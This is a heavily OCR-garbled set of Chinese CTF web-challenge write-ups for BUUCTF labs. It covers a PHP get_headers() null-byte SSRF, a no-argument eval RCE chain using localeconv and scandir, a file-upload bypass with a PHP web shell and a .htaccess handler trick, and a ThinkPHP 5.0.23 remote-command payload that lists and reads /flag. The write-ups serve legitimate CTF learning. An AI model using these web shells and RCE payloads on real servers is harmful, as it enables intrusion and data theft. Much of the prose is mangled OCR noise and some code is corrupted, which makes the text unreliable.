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HUISOAM, WEEEEEA https/buuoj.cn/fag TR
PIRIRSS .

Instance Info
Remaining Time: 8804s

http://28fdd27c-a54e-4b76-
a082-628042a20805.node3.buuaj.cn

Destroy this instance Renew this instance

Flag Submit

AL R
SIFRHZJE, T

View CTFHub
You just view *.ctfhub.com

mirview ctthub  Frimdkds, EREulAERK 7

http://28fdd27c-a54e-4b76-a082-628042a20805.node3.buuoj.cn/?url=http://www.ctfhub.com

R A

PHP (PHP: Hypertext Preprocessor, PHP: J#ESCATIAEEES) J&PHP Group M HCIRARKD #1: X 11 3 [F] g4 ¥ — Foh -5
BT ENIAE S . 25 S FEH TWeb PR, X2 MEEEERIRERS. PHP 7.2292 /7.2 XA, 7.3.16
ZHIH7 3XRAFNT 4.4 2 HiHIT7 4. XA H1 1) get_headers() eR BEAE 22 AT« Bti 2w iR )i 1 £ 5 %



Description:

get_headers() silently truncates anything after a null byte in the URL it uses.

This was tested on PHP 7.3, but the function has always had this bug.

The test script shows that this can cause well-written scripts to géi;headers for an unexpected do@iia. Those headers

could leak sensitive information or unexpectedly contain attacker-controlled data.

Test script:

<?php
// user input S — .

$_GET['url'] =TWHttP:fflocalhost\ﬁ.example.éoﬁﬁf

thost = parse_url($ GET['url'], PHP_URL_HOST);

if (substr(fhost, -12} |== '.example.com') {
die();

}

$headers = get_headers($_GET['url']);

var_dump{fheaders);

Expected result:

Warning: get headers() expects parameter 1 to be a walid path, string given in php shell code on line 1
NULL

A LLENIE PHP 7.2.292 Bi7.2. X004 . 7.3.16 2 Fi (7.3 XA 7.4.42 Hi HI7 .4 xR A i) ‘get_headers() %L
FAAE 2 AR, B %008 W nT LAV R A Hh 3= 4L

T
url=http://127.0.0.1%00.ctfhub.com

Array

(0] => HTTP/1.1 200 OK

[1] => Date: Thu, 25 Feb 2021 13:04:39 GMT
[2] => Server: Apache/2.4.38 (Debian)

[3] => X-Powered-By: PHP/7.3.15

[4] => Tips: Host must be end with * 123

[5] => Vary: Accept-Encoding

[6] => Content-Length: 113

[7]1 => Connection: close

[8] => Content-Type: text/html; charset=UTF-8

$2rhostlh 12345 2

payload:

Purl=http://127.0.0.123%00.ctfhub.com

73 %lflag



Array

[0] => HITP/1.1 200 OK

[1] => Date: Thu, 25 Feb 2021 13:08:15 GMT

[2] => Server: Apache/2.4.38 (Debian)

[3] => X-Powered-By: PHP/7.3.15

[4] => FLAG: flag{8f7cb564-cc8e—4b93-bbd6-d72f1£98828f}
[5] => Vary: Accept—Encoding

[6] => Content-Length: 113

[7] => Connection: close

[8] => Content-Type: text/html; charset=UTF-8
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Instance Info
Remaining Time: 2248s

http://8c23e055-0375-4f0b-
bbéa-52ee191%94263.node3.buuoj.cn

Destroy this instance Renew this instance

Flag Submit

figt B R -

flagfERERNE?

A QItIRRG R, 7B N4 GitHack-master, py A HL— T~ 415 3 5 ut YA
FFURAG D IR

T L B python2 xRS, AR5 Zegithub AL 16 1 N #0AH B SO, 75 R #0047 1 GitHack-master SC 9 Py 4%
fEshiftii, [FIR RGBS ET AL, SHEERAFTIFaSE D, fAmS

python GitHack.py http://8c23e055-0375-4f0b-bb6a-52ee19194263.node3.buuoj.cn/.git/

75 21 B 2> B TR e SR


https://codechina.csdn.net/mirrors/lijiejie/githack?utm_source=csdn_github_accelerator

<?php
include "flag.php";
echo "flagfEMFHEWE? <br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';" === preg_replace('/[a-z,_]+\((?R)?\)/", NULL, $_GET['exp'])) {
if (!preg_match('/et|nalinfo|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);

}
else{
die("iEE—HH! ");
}
}
else{
die("FLFaFAEAEL ")
}
}
else{
die("AHiEflag, RHH! ");
}
}
// highlight_file(__FILE_ );
?>

& FlevalfFill 2 fr AT, HREZS=EBiP

¥—: Xtdata://, filter://, php://, phar:i// X LA WO I SGHEAT I UE
H)E , PRFIREIASRIRIER, AT FEEVEM
BRI

FHOCBRHL:
1.localeconv() &%k

EXRE
localeconv() BRENREI—EEAMEF R RTETSEMEE.
localeconv() BgIIREIA THEETE:

« [decimal_point] - /NS

 [thousands_sep] - USRS

 [int_curr_symbol] - £5HfFS  (filll: USD)

¢ [currency_symbol] - 5SS (Hilk0: $)

« [mon_decimal_point] - &5/

« [mon_thousands_sep] - tah SRS

« [positive_sign] - IFEFHF

» [negative_sign] - f{EFH

« [int_frac_digits] - EFRBFE/NUL

« [frac_digits] - Z<ihiEFR/INERT

« [p_cs_precedes] - {IR&MTSA—MNEMEZAISE R, TEA True (1) |, WSRMEYEZGE, WA False (0)
« [p_sep_by_space] - MSIEADHIATEFEREZAZETRE, Wk True (1) , FUH False (0)
 [n_cs_precedes] - {IREMAFSEMEUEZAIST, M True (1) , WNRERSIECEER, A False (0)
« [n_sep_by_space] - MNSETT&MFSIIMEIEBEETHE, WA True (1) , BWLA False (0)

« [p_sign_posn] - #&={{¥iEm:

2.scandir()E8 %



ENMEE
scandir() FRBIRESER RSB RI0EEA.

g

scandir(directory,sorting order,context);

directory 5, HEEAENER.

sorting_order ik, HEAFIIE. BHAR 0, FREFETREHFI.,
USR8 E% SCANDIR_SORT DESCENDING 2h:% 1, NIEmiE=ssereis,
AIERIRE N SCANDIR_SORT_NONE, MIRERHFFIIER,

context ok, HIEEFORIENE, context 2oliEM B FRINTHN—ERER,
AT
EEHE: ERTMREAF B S, SEWRE] FALSE,
3.current()&& %
EXHIAZE

current() EEGREEATHAEITTEIVE,
FMNETHE M RSRETHER e MA TR, YaEaRA ARSI .
BT ENEREE. BEEIX—, &M next() 1 prev() FE#.
FEEIITTE:
« end() - BAEREFHERAETRSE— o, FHial
o next() - FEREHEEHEREEAFIT—17oE, FHaH
o prev() - FBREMEEHEREEATN F—ItE, FHaH

o reset() - BAEMEEHEREAPRE TR, FEl
* each() - IREIMALTRAGREMRE, THEABISH B

4.pos() & H

pos() EEERERAHIILRITRIHE,

ZERELE current() BRERRISIE.

T EUEREE— I AR AEE HER e S TR, ARSI EEE RS — T E.
TR R PSRRI

MR

« current() - IREEEAHINLFITTERIHE

» end() - BAEBISEHHSEEETIRE— TR,

o next() - FAEBIETHEREAEFRI F— T, Fad

« prev() - BREBIEEHEREAT F— o, FHaH

« reset() - FREBIEEHEREEERIIE U0, FHaH

« each() - IREIXMBITTRACRENRE, HIGREBE AR

5.array_reverse()i

EXHEE

array_reverse() BELAERICRINFROEEE.,

L]

array_reverse() BENFEEARIOCRINSEE, ClEEEEm],
WRE—ABHUEER true, NTEAREREAE, SUESKEEL,

ESNIEN



<?php
$buu = array("heel","world","huya","doyu");

echo current($buu);
echo "\n";

echo next($buu);
echo "\n";

echo next($buu);

?>

huyaArray

(
[0] => doyu
[1] => huya
[2] => world
[3] => heel

mtsEm (G e ) - IEWAb

HoE, BEEXHER

?exp=print_r(scandir(current(localeconv())));

o

?exp=print_r(scandir(pos(localeconv())));

flagfEURERNE?
Array ([0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

A 5 =/ ffflag.php, payload#y :

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

ey

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

flag7EBRERIZ?
<{?php

$flag = “flag{d875240d-29db—450e-8h8f-465d02e34103}";
2

[GXYCTF2019]BabyUpload
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https://github.com/imaginiso/GXY_CTF/tree/master
/Web/babyupload

Instance Info
Remaining Time: 8753s

http://c3c8f5d7-cdff-4f53-
a3a8-14b34e5142fa.node3.buuoj.cn

Destroy this instance Renew this instance

Flag Submit

fife A A
T A

HEH RS | Ao, &

VIR
HRIEHK WAL, JFRAA A ph!
W7, RIEIE T txt,pngEkg . M jpg® A 5, IEF AR

GIF89a?
<?php eval($_POST['cmd']);?>

Ml &, HZFREW, XixEY ZIEREphpH

Sl

o o o Wi AIRERILIE T <?php  BTUAH N I RACEEAT AR

GIF89a?
<script language="php">eval($_POST['cmd']);</script>

fvar/www/html/upload/bfeb3d2eacfd428dd07b75136b44912d/3 jpg succesfully uploaded!

TR E, FIH ERSUCTFIZL:, K A&apache, 2%k I f%.htaccess

SetHandler application/x-httpd-php

FEEIE, Fcontent-typeftJfE i Nimageljpeg , XA fE AR,



SRIGIEIERE, flagrel H k.

1 flag{252ad145-1f8c-46e4-86cb-81f9e51dT6c8}
2

[BJDCTF 2nd]old-hack
ALH

Challenge 1191 Solves

[BJDCTF 2ndlold-hack

1

ENFFHESNG, AEREEF— 1 INSHASIE T Basic
2KM19 Linux Labs 28471, EBHLAKEIAE, FEEEEESERE
A https://buuoj.cn/resources BB IRIZTIR,

Instance can't access the Internet. You may check the
https://buuoj.cn/resources and try to use the Linux Labs
Instance in the Basic category.

Instance Info
Remaining Time: 10176s

http://62067bc6-bf67-4fb0-
bd40-8eb8b59962b0.node3.buucj.cn

Destroy this instance Renew this instance
Flag Submit

By BJD CTF

AR F A L, J5 2 thinkphpS R -
[EPRVHES
N — A=zt R EERAREL, 132thinkphpihi4<7£5.0.23

APP_PATH Jvarfwww/html/public/../application/
THINK_VERSION 5.0.23
THINK_START_TIME 1614355002.4586

R — T thinkphp5.0. 23 A (KRR, 1L


https://www.cnblogs.com/jiecoll/p/13425469.html

R 20 I T R FH 77 %
POST#1{d: _method=__construct&filter[]=system&method=get&server[REQUEST METHOD]=pwd
B, B MRHEHFOUHAE (FOMEEE, flag—RAER H 50

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=1s /

bin dev etc flag home lib media mnt proc root run sbin srv sys tmp usr var

payload:

_method=__construct&filter[]=system&method=get&server[ REQUEST_METHOD]=cat /flag

flag{34ce8521-fb22-4abc-8e79-4241c07000cb }

FARBERL -

1.thinkPHP 5.0.23: F A% $0AT I i


https://www.cnblogs.com/jiecoll/p/13425469.html
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